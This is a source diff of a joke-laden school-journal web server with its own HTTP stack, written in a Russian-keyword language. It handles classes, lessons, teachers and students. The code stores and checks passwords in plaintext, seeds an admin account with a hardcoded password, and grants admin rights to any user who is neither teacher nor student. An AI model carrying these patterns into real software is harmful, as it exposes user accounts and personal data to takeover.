значения: джесон.ДжесонКлючЗначения[
джесон.ДжесонКлючЗначение{
ключ: "уроки",
значение: джесон уроки
}
]
})
вернуть хттп.ХттпОтвет{туловище: тело}
}
фн удалить урок*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет {
пусть оплошность := ""
пусть картотека = картотека.зайти()
пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если пользователь = пусто {
вернуть хттп.ответ_401()
}
пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность)
пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если учитель = пусто & ~админ {
вернуть хттп.ответ_403()
}
если длина(параметры) < 2 {
вернуть хттп.ответ_400()
}
пусть ид класса = параметры[0]
пусть ид урока = параметры[1]
пусть клass := джесон.ДжесонМногоЗначений{}
если админ {
клass := картотека.запросить безопасно(`
SELECT id FROM classes WHERE id = ?
`, оплошность, ид класса)
} иначе {
клass := картотека.запросить безопасно(`
SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ?
`, оплошность, ид класса, учитель^.идентификатор)
}
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(клass.значения) = 0 {
вернуть хттп.ответ_403()
}
пусть ответ = картотека.запросить безопасно(`
DELETE FROM lessons WHERE id = ? AND class_id = ?
RETURNING id
`, оплошность, ид урока, ид класса)
если оплошность # "" {
вернуть хттп.ответ_500()
}
если длина(ответ.значения) = 0 {
вернуть хттп.ответ_404()
}
вернуть хттп.ответ_204()
}
фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор {
маршрутизатор.добавить маршрут("/api/classes/$/lessons", массивы.Строки["POST"], добавить урок)
маршрутизатор.добавить маршрут("/api/classes/$/lessons", массивы.Строки["GET"], список уроков)
маршрутизатор.добавить маршрут("/api/classes/$/lessons/$", массивы.Строки["GET"], список уроков)
маршрутизатор.добавить маршрут("/api/classes/$/lessons/date/$", массивы.Строки["GET"], список уроков)
маршрутизатор.добавить маршрут("/api/classes/$/lessons/$", массивы.Строки["DELETE"], удалить урок)
вернуть маршрутизатор
}

View File

@@ -0,0 +1,5 @@
модуль вперед-назад
тип Крипипаста* = протокол {
фн прочитать(сколько: Цел64): Строка
}

View File

@@ -0,0 +1,13 @@
модуль картотека
импорт "исх/бд/скуля"
пусть картотека: скуля.Картотека := скуля.Картотека{}
фн зайти*(): скуля.Картотека {
вернуть картотека
}
вход {
картотека := скуля.открыть картотеку("var/srab.db")
}

View File

@@ -0,0 +1,130 @@
модуль репозитории
импорт "исх/бд/скуля"
импорт "исх/картотека"
импорт "исх/форматы/джесон"
импорт "исх/бюрократия"
тип Пользователь = класс {
идентификатор*: Цел64 := 0
имя*: Строка := ""
фамилия*: Строка := ""
отчество*: Строка := ""
имя пользователя*: Строка := ""
пароль*: Строка := ""
}
тип Учитель = класс {
идентификатор*: Цел64 := 0
идентификатор пользователя*: Цел64 := 0
образование*: Строка := ""
урурурл аватара*: Строка := ""
}
тип Ученик = класс {
идентификатор*: Цел64 := 0
идентификатор пользователя*: Цел64 := 0
идентификатор ментора*: Цел64 := 0
снилс*: Строка := ""
паспорт*: Строка := ""
}
фн авторизовать пользователя*(имя пользователя: Строка, пароль: Строка, оплошность := Строка): мб Пользователь {
пусть картотека = картотека.зайти()
пусть ответ = картотека.запросить безопасно(`
SELECT id, first_name, last_name, middle_name FROM users WHERE username = ? AND password = ?
`, оплошность, имя пользователя, пароль)
если оплошность # "" {
вернуть Пользователь{}
}
если длина(ответ.значения) = 0 {
вернуть пусто
}
пусть объект = ответ.значения[0](:джесон.ДжесонОбъект)
вернуть Пользователь{
идентификатор: объект.получить("id").число()^.значение,
имя: объект.получить("first_name").строка()^,
фамилия: объект.получить("last_name").строка()^,
отчество: объект.получить("middle_name").строка()^,
имя пользователя: имя пользователя,
пароль: пароль
}
}
фн авторизовать по паспорту*(паспорт: мб бюрократия.Паспорт, оплошность := Строка): мб Пользователь {
если паспорт = пусто {
вернуть пусто
}
вернуть авторизовать пользователя(паспорт^.имя пользователя, паспорт^.пароль, оплошность)
}
фн пользователь учитель*(ид: Цел64, оплошность := Строка): мб Учитель {
пусть картотека = картотека.зайти()
пусть ответ = картотека.запросить безопасно(`
SELECT user_id, education, avatar_url, id FROM teachers WHERE user_id = ?
`, оплошность, ид)
если оплошность # "" {
вернуть пусто
}
если длина(ответ.значения) = 0 {
вернуть пусто
}
пусть объект = ответ.значения[0](:джесон.ДжесонОбъект)
вернуть Учитель{
идентификатор: объект.получить("id").число()^.значение,
идентификатор пользователя: ид,
образование: объект.получить("education").строка()^,
урурурл аватара: объект.получить("avatar_url").строка()^
}
}
фн пользователь ученик*(ид: Цел64, оплошность := Строка): мб Ученик {
пусть картотека = картотека.зайти()
пусть ответ = картотека.запросить безопасно(`
SELECT * FROM students WHERE user_id = ?
`, оплошность, ид)
если оплошность # "" {
вернуть пусто
}
если длина(ответ.значения) = 0 {
вернуть пусто
}
пусть объект = ответ.значения[0](:джесон.ДжесонОбъект)
вернуть Ученик{
идентификатор: объект.получить("id").число()^.значение,
идентификатор пользователя: ид,
идентификатор ментора: объект.получить("mentor_id").число()^.значение,
снилс: объект.получить("snils").строка()^,
паспорт: объект.получить("passport").строка()^
}
}
фн пользователь админ*(ид: Цел64, оплошность := Строка): Лог {
пусть картотека = картотека.зайти()
пусть учитель = пользователь учитель(ид, оплошность)
если оплошность # "" {
вернуть ложь
}
пусть ученик = пользователь ученик(ид, оплошность)
если оплошность # "" {
вернуть ложь
}
вернуть учитель = пусто & ученик = пусто
}

View File

@@ -0,0 +1,24 @@
модуль маршруты
импорт "исх/массивы"
импорт "исх/сеть/хттп/маршрутизатор"
импорт "исх/властелины/главный"
импорт "исх/властелины/классы"
импорт "исх/властелины/уроки"
импорт "исх/властелины/пользователи"
импорт "исх/властелины/пользователи/ученики"
импорт "исх/властелины/пользователи/учителя"
фн получить маршрутизатор*(): маршрутизатор.Маршрутизатор {
пусть маршрутизатор = маршрутизатор.Маршрутизатор{}
главный.добавить маршруты(маршрутизатор)
пользователи.добавить маршруты(маршрутизатор)
ученики.добавить маршруты(маршрутизатор)
учителя.добавить маршруты(маршрутизатор)
классы.добавить маршруты(маршрутизатор)
уроки.добавить маршруты(маршрутизатор)
вернуть маршрутизатор
}

View File

@@ -0,0 +1,3 @@
модуль массивы
тип Строки* = []Строка

View File

@@ -0,0 +1,112 @@
модуль миграции
импорт "исх/бд/скуля"
фн мигрировать*(картотека: скуля.Картотека) {
пусть оплошность := ""
картотека.выполнить(`PRAGMA foreign_keys = ON;`, оплошность)
если оплошность # "" {
авария(оплошность)
}
картотека.выполнить(`
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
first_name TEXT NOT NULL,
last_name TEXT NOT NULL,
middle_name TEXT NOT NULL,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL
);`, оплошность)
если оплошность # "" {
авария(оплошность)
}
картотека.выполнить(`
CREATE TABLE IF NOT EXISTS teachers (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user_id INTEGER NOT NULL UNIQUE,
education TEXT,
avatar_url TEXT,
FOREIGN KEY(user_id) REFERENCES users(id) ON DELETE CASCADE
);`, оплошность)
если оплошность # "" {
авария(оплошность)
}
картотека.выполнить(`
CREATE TABLE IF NOT EXISTS students (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user_id INTEGER NOT NULL UNIQUE,
mentor_id INTEGER, -- "чей ученик" — id учителя (может быть NULL)
snils TEXT,
passport TEXT,
FOREIGN KEY(user_id) REFERENCES users(id) ON DELETE CASCADE,
FOREIGN KEY(mentor_id) REFERENCES teachers(id) ON DELETE SET NULL
);`, оплошность)
картотека.выполнить(`
CREATE TABLE IF NOT EXISTS classes (
id INTEGER PRIMARY KEY AUTOINCREMENT,
number INTEGER NOT NULL,
letter TEXT NOT NULL,
creator_teacher_id INTEGER,
FOREIGN KEY(creator_teacher_id) REFERENCES teachers(id) ON DELETE SET NULL
);`, оплошность)
если оплошность # "" {
авария(оплошность)
}
картотека.выполнить(`
CREATE TABLE IF NOT EXISTS class_students (
id INTEGER PRIMARY KEY AUTOINCREMENT,
class_id INTEGER NOT NULL,
student_id INTEGER NOT NULL,
UNIQUE(class_id, student_id),
FOREIGN KEY(class_id) REFERENCES classes(id) ON DELETE CASCADE,
FOREIGN KEY(student_id) REFERENCES students(id) ON DELETE CASCADE
);`, оплошность)
если оплошность # "" {
авария(оплошность)
}
картотека.выполнить(`
CREATE TABLE IF NOT EXISTS lessons (
id INTEGER PRIMARY
KEY AUTOINCREMENT,
class_id INTEGER NOT NULL,
date DATE NOT NULL,
title TEXT NOT NULL,
homework TEXT,
FOREIGN KEY(class_id) REFERENCES classes(id) ON DELETE CASCADE
);`, оплошность)
если оплошность # "" {
авария(оплошность)
}
картотека.выполнить(`
INSERT OR IGNORE INTO users (
first_name,
last_name,
middle_name,
username,
password
) VALUES (
'Админ',
'Админович',
'',
'admin',
'correct horse battery staple'
);`, оплошность)
если оплошность # "" {
авария(оплошность)
}
}

View File

@@ -0,0 +1,9 @@
модуль отдых
// c:include <unistd.h>
фн sleep(секунды: Цел64) @внеш
фн отдохнуть*(секунды: Цел64) {
sleep(секунды)
}

View File

@@ -0,0 +1,7 @@
модуль сборщик-мусора
импорт "стд::платформа"
фн собрать*() {
платформа.завершить программу(0)
}

View File

@@ -0,0 +1,57 @@
модуль тцп
// c:include "suckit.h"
фн create_socket_fd(port: Цел64): Цел64 @внеш
фн accept_socket(fd: Цел64): Цел64 @внеш
фн read_to_string(fd: Цел64, bytes: Цел64): Строка @внеш
фн close_socket(socket: Цел64) @внеш
фн write_string(socket: Цел64, data: Строка) @внеш
фн connect_socket(host: Строка, port: Цел64): Цел64 @внеш
тип ТцпСервер* = класс {
фд: Цел64 = 0
}
тип ТцпСоединение* = класс {
фд: Цел64 = 0
}
фн создать сервер*(порт: Цел64): ТцпСервер {
пусть фд = create_socket_fd(порт)
вернуть ТцпСервер{
фд: фд
}
}
фн (с: ТцпСервер) принять чертово соединение*(): ТцпСоединение {
пусть фд = accept_socket(с.фд)
вернуть ТцпСоединение{
фд: фд
}
}
фн (с: ТцпСоединение) прочитать*(сколько: Цел64): Строка {
вернуть read_to_string(с.фд, сколько)
}
фн (с: ТцпСоединение) записать*(данные: Строка) {
write_string(с.фд, данные)
}
фн (с: ТцпСоединение) закрыть*() {
close_socket(с.фд)
}
фн (с: ТцпСервер) закрыть*() {
close_socket(с.фд)
}
фн подключиться*(хост: Строка, порт: Цел64): ТцпСоединение {
пусть фд = connect_socket(хост, порт)
вернуть ТцпСоединение{ фд: фд }
}

View File

@@ -0,0 +1,140 @@
модуль хттп
импорт "стд::вывод"
импорт "исх/строка"
импорт "исх/сеть/тцп"
фн сериализовать хттп-запрос(хост: Строка, обращение: ХттпОбращение): Строка {
пусть метод := обращение.метод
если метод = "" {
метод := "GET"
}
пусть путь := обращение.путь
если путь = "" {
путь := "/"
}
пусть первая := строка.ф("$стр $стр HTTP/1.1\r\n", метод, путь)
пусть есть длина := ложь
пусть выход := первая
цикл [номер]заглавие среди обращение.заглавия {
если заглавие.имя = "Content-Length" { есть длина := истина }
выход := строка.собрать(выход, строка.ф("$стр: $стр\r\n", заглавие.имя, заглавие.значение))
}
выход := строка.собрать(выход, строка.ф("Host: $стр\r\n", хост))
если ~ есть длина {
выход := строка.собрать(выход, строка.ф("Content-Length: $цел\r\n", длина(обращение.туловище(:Строка8))))
}
выход := строка.собрать(выход, "\r\n")
если длина(обращение.туловище) > 0 { выход := строка.собрать(выход, обращение.туловище) }
вернуть выход
}
фн послать далеко и надолго*(хост: Строка, порт: Цел64, обращение: ХттпОбращение): ХттпОтвет {
пусть соединение = тцп.подключиться(хост, порт)
пусть данные = сериализовать хттп-запрос(хост, обращение)
соединение.записать(данные)
вывод.ф("Ждем хттп ответ\n")
пусть ответ = разобрать хттп ответ(соединение)
соединение.закрыть()
вывод.ф("Дождались\n")
вернуть ответ
}
фн послать на три буквы*(хост: Строка, порт: Цел64, путь: Строка): ХттпОтвет {
вернуть послать далеко и надолго(хост, порт, ХттпОбращение{ метод: "GET", путь: путь })
}
тип Урл* = класс {
хост*: Строка := ""
порт*: Цел64 := 0
путь*: Строка := ""
}
фн парсить урл*(стр: Строка, оплошность := Строка): Урл {
оплошность := ""
пусть с = строка.обрезать пробельные символы(стр)
если с = "" {
оплошность := "пустой урл"
вернуть Урл{}
}
пусть схема := "http"
пусть ост := с
если строка.разделить(с, "://", схема, ост) {
схема := строка.обрезать пробельные символы(схема)
} иначе {
// без схемы считаем http
схема := "http"
ост := с
}
// отделяем authority и путь
пусть № слеша = строка.индекс(ост, 0, "/")
пусть авторитет := ""
пусть путь := ""
если № слеша >= 0 {
пусть ост8 = ост(:Строка8)
авторитет := строка.извлечь(ост, 0, № слеша)
путь := строка.извлечь(ост, № слеша, длина(ост8) - № слеша)
} иначе {
авторитет := ост
путь := ""
}
авторитет := строка.обрезать пробельные символы(авторитет)
если авторитет = "" {
оплошность := "пустой хост в урл"
вернуть Урл{}
}
// парсим хост и порт
пусть хост := авторитет
пусть порт: Цел64 := 0
пусть № двоеточия = строка.индекс(авторитет, 0, ":")
если № двоеточия >= 0 {
пусть ав8 = авторитет(:Строка8)
хост := строка.извлечь(авторитет, 0, № двоеточия)
пусть порт строка := строка.извлечь(авторитет, № двоеточия + 1, длина(ав8) - (№ двоеточия + 1))
порт строка := строка.обрезать пробельные символы(порт строка)
пусть порт значение := 0
пусть № байта := 0
если ~ строка.извлечь цел(порт строка, № байта, порт значение) {
оплошность := "некорректный порт в урл"
вернуть Урл{}
}
если порт значение <= 0 | порт значение > 65535 {
оплошность := "порт вне диапазона в урл"
вернуть Урл{}
}
порт := порт значение
} иначе {
если схема = "https" {
порт := 443
} иначе {
порт := 80
}
}
хост := строка.обрезать пробельные символы(хост)
если хост = "" {
оплошность := "пустой хост в урл"
вернуть Урл{}
}
если путь = "" { путь := "/" }
вернуть Урл{ хост: хост, порт: порт, путь: путь }
}

View File

@@ -0,0 +1,120 @@
модуль маршрутизатор
импорт "стд::контейнеры/словарь/стр-стр"
импорт "исх/строка"
импорт "исх/сеть/хттп"
импорт "исх/массивы"
тип Обращение* = класс (хттп.ХттпОбращение) {
запрос-в-пути*: стр-стр.Словарь := стр-стр.Словарь{}
}
тип ОбработчикМаршрута = фн (путь: Строка, параметры: массивы.Строки, обращение: Обращение): хттп.ХттпОтвет
тип Маршрут = класс {
путь: Строка := "/"
обработчик: ОбработчикМаршрута := позже
методы: массивы.Строки := массивы.Строки[]
}
фн (м: Маршрут) подходит по пути(обращение: хттп.ХттпОбращение, параметры := массивы.Строки): Лог {
пусть части пути по запросу = строка.разобрать(обращение.путь, "?")
пусть части пути обращения = строка.разобрать(части пути по запросу[0], "/")
пусть части пути маршрута = строка.разобрать(м.путь, "/")
цикл [номер]часть пути маршрута среди части пути маршрута {
если часть пути маршрута = "*" {
пусть ай := номер
пока ай < длина(части пути обращения) {
параметры.добавить(части пути обращения[ай])
ай++
}
вернуть истина
}
если номер >= длина(части пути обращения) {
вернуть ложь
}
пусть часть пути обращения = части пути обращения[номер]
если часть пути маршрута = "$" {
параметры.добавить(часть пути обращения)
} иначе если часть пути маршрута # часть пути обращения {
вернуть ложь
}
}
вернуть длина(части пути маршрута) = длина(части пути обращения)
}
фн (м: Маршрут) подходит по методу(обращение: хттп.ХттпОбращение): Лог {
цикл [номер]метод среди м.методы {
если метод = обращение.метод {
вернуть истина
}
}
вернуть ложь
}
фн (м: Маршрут) подходит для*(обращение: хттп.ХттпОбращение, параметры := массивы.Строки): Лог {
вернуть м.подходит по пути(обращение, параметры) & м.подходит по методу(обращение)
}
тип Маршруты = []Маршрут
тип Маршрутизатор* = класс {
маршруты: Маршруты := Маршруты[]
обработчик_404: ОбработчикМаршрута := обработчик_404
}
фн (м: Маршрутизатор) добавить маршрут*(путь: Строка, методы: массивы.Строки, обработчик: ОбработчикМаршрута) {
м.маршруты.добавить(Маршрут{путь: путь, обработчик: обработчик, методы: методы})
}
фн (м: Маршрутизатор) обработать обращение*(обращение: хттп.ХттпОбращение): хттп.ХттпОтвет {
пусть обращение маршрутизатора = Обращение{
метод: обращение.метод,
путь: обращение.путь,
версия: обращение.версия,
заглавия: обращение.заглавия,
туловище: обращение.туловище,
запрос-в-пути: разобрать-запрос-в-пути(обращение.путь)
}
цикл [номер]маршрут среди м.маршруты {
пусть параметры := массивы.Строки[]
если маршрут.подходит для(обращение, параметры) {
вернуть маршрут.обработчик(обращение.путь, параметры, обращение маршрутизатора)
}
}
вернуть м.обработчик_404(обращение.путь, массивы.Строки[], обращение маршрутизатора)
}
фн разобрать-запрос-в-пути(путь: Строка): стр-стр.Словарь {
пусть части = строка.разобрать(путь, "?")
если длина(части) < 2 {
вернуть стр-стр.Словарь{}
}
пусть параметры = строка.разобрать(части[1], "&")
пусть словарь = стр-стр.Словарь{}
цикл [номер]параметр среди параметры {
пусть пара = строка.разобрать(параметр, "=")
если длина(пара) = 2 {
словарь.добавить(пара[0], пара[1])
} иначе если длина(пара) = 1 {
словарь.добавить(пара[0], "")
}
}
вернуть словарь
}

View File

@@ -0,0 +1,8 @@
модуль маршрутизатор
импорт "исх/массивы"
импорт "исх/сеть/хттп"
фн обработчик_404*(путь: Строка, параметры: массивы.Строки, обращение: Обращение): хттп.ХттпОтвет {
вернуть хттп.ответ_404()
}

View File

@@ -0,0 +1,118 @@
модуль хттп
фн ответ_201*(): ХттпОтвет {
вернуть ХттпОтвет{
код: 201,
состояние: "Created",
туловище: "Тварь успешно создана.",
}
}
фн ответ_204*(): ХттпОтвет {
вернуть ХттпОтвет{
код: 204,
состояние: "No Content",
туловище: "Пожалуйста, оставайтесь на месте. За вами уже выехали.",
}
}
фн ответ_400*(): ХттпОтвет {
вернуть ХттпОтвет{
код: 400,
состояние: "Bad Request",
туловище: "Некорректный запрос. Пожалуйста, проверьте правильность запроса и повторите попытку.",
}
}
фн ответ_401*(): ХттпОтвет {
вернуть ХттпОтвет{
код: 401,
состояние: "Unauthorized",
туловище: "Требуется аутентификация. Пожалуйста, предоставьте свои паспортные данные и повторите запрос.",
}
}
фн ответ_402*(): ХттпОтвет {
вернуть ХттпОтвет{
код: 402,
состояние: "Payment Required",
туловище: "Доступ к запрашиваемому ресурсу требует оплаты. Пожалуйста, свяжитесь с администратором для получения дополнительной информации.",
}
}
фн ответ_403*(): ХттпОтвет {
вернуть ХттпОтвет{
код: 403,
состояние: "Forbidden",
туловище: "Вы были репрессированы. Пожалуйста, перейдите по ссылке: http://сибирь.рф",
}
}
фн ответ_422*(): ХттпОтвет {
вернуть ХттпОтвет{
код: 422,
состояние: "Unprocessable Entity",
туловище: "Неперевариваемая тварь.",
}
}
фн ответ_404*(): ХттпОтвет {
вернуть ХттпОтвет{
код: 404,
состояние: "Not Found",
туловище: "Запрашиваемый ресурс не найден на сервере.",
}
}
фн ответ_500*(): ХттпОтвет {
вернуть ХттпОтвет{
код: 500,
состояние: "Internal Server Error",
туловище: "Просим быть внимательными и бдительными. Оглядывайтесь вверх и по сторонам. Что-то произошло непонятное.",
}
}
фн создать ответ*(база: ХттпОтвет, расширение: ХттпОтвет): ХттпОтвет {
пусть пустой ответ = ХттпОтвет{}
пусть ответ = ХттпОтвет{}
если расширение.код # пустой ответ.код {
ответ.код := расширение.код
} иначе {
ответ.код := база.код
}
если расширение.состояние # пустой ответ.состояние {
ответ.состояние := расширение.состояние
} иначе {
ответ.состояние := база.состояние
}
цикл [номер]заглавие среди база.заглавия {
ответ.заглавия.добавить(заглавие)
}
цикл [номер]заглавие среди расширение.заглавия {
пусть нашлось := ложь
цикл [уемер]существующее среди ответ.заглавия {
если заглавие.имя = существующее.имя {
существующее.значение := заглавие.значение
нашлось := истина
прервать
}
}
если ~нашлось {
ответ.заглавия.добавить(заглавие)
}
}
если расширение.туловище # "" {
ответ.туловище := расширение.туловище
} иначе {
ответ.туловище := база.туловище
}
вернуть ответ
}

View File

@@ -0,0 +1,235 @@
модуль хттп
импорт "исх/строка"
импорт "исх/вперед-назад"
импорт "исх/сеть/тцп"
фн сериализовать хттп ответ*(р: ХттпОтвет): Строка {
пусть ответ := строка.собрать(строка.ф("$стр $цел $стр\r\n", р.версия, р.код, р.состояние))
пусть есть размер контента := ложь
цикл [номер]заглавие среди р.заглавия {
если заглавие.имя = "Content-Length" { есть размер контента := истина }
ответ := строка.собрать(ответ, строка.ф("$стр: $стр\r\n", заглавие.имя, заглавие.значение))
}
если ~ есть размер контента {
ответ := строка.собрать(ответ, строка.ф("Content-Length: $цел\r\n", длина(р.туловище(:Строка8))))
}
ответ := строка.собрать(ответ, "\r\n")
если длина(р.туловище) > 0 {
ответ := строка.собрать(ответ, р.туловище)
}
вернуть ответ
}
фн отправить хттп ответ*(с: тцп.ТцпСоединение, р: ХттпОтвет) {
пусть данные := сериализовать хттп ответ(р)
с.записать(данные)
}
фн разобрать хттп обращение*(с: вперед-назад.Крипипаста): ХттпОбращение {
пусть сколько читаем = 1024
пусть прочитано := 0
пусть обращение = ХттпОбращение{}
пусть данные := ""
пусть первая линия := ""
пусть добрались до тела := ложь
пусть размер контента: Цел64 := -1
пока истина {
пусть сколько прочитать: Цел64 := -1
если размер контента > 0 & добрались до тела {
сколько прочитать := размер контента - прочитано
}
если сколько прочитать = 0 {
вернуть обращение
}
пусть новые данные = с.прочитать(сколько читаем)
прочитано := прочитано + длина(новые данные)
если длина(новые данные) = 0 {
вернуть обращение
}
данные := строка.собрать(данные, новые данные)
если ~ добрались до тела {
пока длина(данные) > 0 {
пусть конец строки = строка.индекс(данные, 0, "\n")
если конец строки = -1 {
прервать
}
пусть линия = строка.обрезать пробельные символы(строка.извлечь(данные, 0, конец строки))
данные := строка.извлечь(данные, конец строки + 1, длина(данные(:Строка8)) - конец строки)
если линия = "" {
если размер контента > 0 {
пусть индекс переноса = строка.индекс(данные, 0, "\n")
добрались до тела := истина
данные := строка.извлечь(данные, индекс переноса + 1, длина(данные(:Строка8)) - индекс переноса)
прочитано := длина(данные(:Строка8))
обращение.туловище := данные
данные := ""
прервать
} иначе {
вернуть обращение
}
}
если первая линия = "" {
первая линия := линия
пусть части = строка.разобрать(первая линия, " ")
если длина(части) >= 1 { обращение.метод := части[0] }
если длина(части) >= 2 {
цикл [номер]часть среди части {
если номер > 0 & номер < длина(части) - 1 {
если номер > 1 {
обращение.путь := строка.собрать(обращение.путь, " ")
}
обращение.путь := строка.собрать(обращение.путь, часть)
}
}
}
если длина(части) >= 3 { обращение.версия := части[длина(части) - 1] }
} иначе {
пусть заглавие = ХттпЗаглавие{}
строка.разделить(линия, ":", заглавие.имя, заглавие.значение)
заглавие.имя := строка.обрезать пробельные символы(заглавие.имя)
заглавие.значение := строка.обрезать пробельные символы(заглавие.значение)
если размер контента < 0 & заглавие.имя = "Content-Length" {
пусть новый размер контента := 0
пусть номер байта := 0
если строка.извлечь цел(заглавие.значение, номер байта, новый размер контента) {
размер контента := новый размер контента
}
}
обращение.заглавия.добавить(заглавие)
}
}
} иначе {
обращение.туловище := строка.соединить(обращение.туловище, данные)
}
}
вернуть обращение
}
фн разобрать хттп ответ*(с: тцп.ТцпСоединение): ХттпОтвет {
пусть сколько читаем = 1024
пусть прочитано := 0
пусть ответ = ХттпОтвет{}
пусть данные := ""
пусть первая линия := ""
пусть добрались до тела := ложь
пусть размер контента: Цел64 := -1
пока истина {
пусть сколько прочитать: Цел64 := -1
если размер контента > 0 & добрались до тела {
сколько прочитать := размер контента - прочитано
}
если сколько прочитать = 0 {
вернуть ответ
}
пусть новые данные = с.прочитать(сколько читаем)
прочитано := прочитано + длина(новые данные)
если длина(новые данные) = 0 {
вернуть ответ
}
данные := строка.собрать(данные, новые данные)
если ~ добрались до тела {
пока длина(данные) > 0 {
пусть конец строки = строка.индекс(данные, 0, "\n")
если конец строки = -1 {
прервать
}
пусть линия = строка.обрезать пробельные символы(строка.извлечь(данные, 0, конец строки))
данные := строка.извлечь(данные, конец строки + 1, длина(данные(:Строка8)) - конец строки)
если линия = "" {
если размер контента > 0 {
добрались до тела := истина
прочитано := длина(данные(:Строка8))
ответ.туловище := данные
данные := ""
прервать
} иначе {
вернуть ответ
}
}
если первая линия = "" {
первая линия := линия
пусть части = строка.разобрать(первая линия, " ")
если длина(части) >= 1 { ответ.версия := части[0] }
если длина(части) >= 2 {
пусть новый код := 0
пусть номер байта := 0
если строка.извлечь цел(части[1], номер байта, новый код) {
ответ.код := новый код
}
}
если длина(части) >= 3 {
цикл [номер]часть среди части {
если номер >= 2 {
если номер > 2 {
ответ.состояние := строка.собрать(ответ.состояние, " ")
}
ответ.состояние := строка.собрать(ответ.состояние, часть)
}
}
}
} иначе {
пусть заглавие = ХттпЗаглавие{}
строка.разделить(линия, ":", заглавие.имя, заглавие.значение)
заглавие.имя := строка.обрезать пробельные символы(заглавие.имя)
заглавие.значение := строка.обрезать пробельные символы(заглавие.значение)
если размер контента < 0 & заглавие.имя = "Content-Length" {
пусть новый размер контента := 0
пусть номер байта := 0
если строка.извлечь цел(заглавие.значение, номер байта, новый размер контента) {
размер контента := новый размер контента
}
}
ответ.заглавия.добавить(заглавие)
}
}
} иначе {
ответ.туловище := строка.соединить(ответ.туловище, данные)
}
}
вернуть ответ
}

View File

@@ -0,0 +1,24 @@
модуль хттп
тип ХттпЗаглавие* = класс {
имя*: Строка := ""
значение*: Строка := ""
}
тип ХттпЗаглавия* = []ХттпЗаглавие
тип ХттпОбращение* = класс {
метод*: Строка := ""
путь*: Строка := ""
версия*: Строка := ""
заглавия*: ХттпЗаглавия := ХттпЗаглавия[]
туловище*: Строка := ""
}
тип ХттпОтвет* = класс {
версия*: Строка := "HTTP/1.1"
код*: Цел64 := 200
состояние*: Строка := "OK"
заглавия*: ХттпЗаглавия := ХттпЗаглавия[]
туловище*: Строка := ""
}

View File

@@ -0,0 +1,9 @@
модуль спринтф
импорт "стд::строки"
фн ф*(формат: Строка, список: ...*): Строка {
пусть сб = строки.Сборщик{}
сб.ф(формат, список...)
вернуть сб.строка()
}

78
исх/сраб.tri Normal file
View File

@@ -0,0 +1,78 @@
модуль сраб
импорт "стд::вывод"
импорт "стд::комстрока"
импорт "исх/спринтф"
импорт "исх/струя"
импорт "исх/сеть/тцп"
импорт "исх/сеть/хттп"
импорт "исх/маршруты"
импорт "исх/сборщик-мусора"
импорт "исх/миграции"
импорт "исх/картотека"
импорт "исх/вперед-назад"
импорт "исх/стд-вперед-назад"
импорт "исх/отдых"
пусть маршрутизатор = маршруты.получить маршрутизатор()
фн обработать тцп подключение(соединение полиморф: *) {
пусть соединение = соединение полиморф(:тцп.ТцпСоединение)
пусть обращение = хттп.разобрать хттп обращение(соединение)
пусть ответ = маршрутизатор.обработать обращение(обращение)
// вывод.ф("$стр $стр -> $цел\n", обращение.метод, обращение.путь, ответ.код)
хттп.отправить хттп ответ(соединение, ответ)
соединение.закрыть()
}
фн обработать стдвнутрь подключение() {
пусть обращение = хттп.разобрать хттп обращение(стд-вперед-назад.СтдВнутрь{})
// вывод.ф("$стр $стр\n", обращение.метод, обращение.путь)
пусть ответ = маршрутизатор.обработать обращение(обращение)
пусть данные = хттп.сериализовать хттп ответ(ответ)
стд-вперед-назад.ошибка(данные)
}
вход {
комстрока.логическая настройка("подшефный", ложь, "")
комстрока.логическая настройка("роанапур", ложь, "")
комстрока.разобрать()
пусть подшефный = комстрока.логическое значение("подшефный")
пусть роанапур = комстрока.логическое значение("роанапур")
если подшефный {
обработать стдвнутрь подключение()
} иначе если роанапур {
миграции.мигрировать(картотека.зайти())
} иначе {
миграции.мигрировать(картотека.зайти())
пусть номер причала = 1337
вывод.ф("Готовим сервер у причала $цел\n", номер причала)
пусть сервер = тцп.создать сервер(номер причала)
пусть обработано запросов := 0
пока истина {
пусть подключение = сервер.принять чертово соединение()
пусть новая струя = струя.новая струя(обработать тцп подключение, подключение)
струя.отсоединить струю(новая струя)
обработано запросов++
если обработано запросов > 100000 {
вывод.ф("Вы используете пробную версию программы. Пожалуйста, приобретите полную версию для продолжения использования.\n")
прервать
}
}
вывод.ф("Котенок умер\n")
}
}

View File

@@ -0,0 +1,23 @@
модуль стд-вперед-назад
// c:include "stdin.h"
фн stdin_read_to_string(bytes: Цел64): Строка @внеш
фн stderr_write_string(data: Строка) @внеш
тип СтдВнутрь* = класс {
}
фн (внутрь: СтдВнутрь) прочитать*(сколько: Цел64): Строка {
вернуть прочитать(сколько)
}
фн прочитать*(сколько: Цел64): Строка {
вернуть stdin_read_to_string(сколько)
}
фн ошибка*(данные: Строка) {
stderr_write_string(данные)
}

View File

@@ -0,0 +1,184 @@
модуль строка
импорт "стд::строки"
импорт "стд::юникод"
импорт "исх/массивы"
тип Байты = []Байт
фн tri_substring(с: Строка8, первый-байт: Цел64, число-байтов: Цел64): Строка @внеш
фн tri_substring_from_bytes(байты: Байты, первый-байт: Цел64, число-байтов: Цел64): Строка @внеш
фн заменить*(с: Строка, подстрока: Строка, замена: Строка): Строка {
надо длина(подстрока) > 0 иначе вернуть с
пусть с8 = с(:Строка8)
пусть п8 = подстрока(:Строка8)
пусть № := индекс(с, 0, подстрока)
надо № >= 0 иначе вернуть с
пусть сб = строки.Сборщик{}
пусть №-старт := 0
пока истина {
сб.добавить строку(строки.извлечь(с8(:Строка), №-старт, № - №-старт))
сб.добавить строку(замена)
№-старт := № + длина(п8)
№ := индекс(с, №-старт, подстрока)
надо № >= 0 иначе прервать
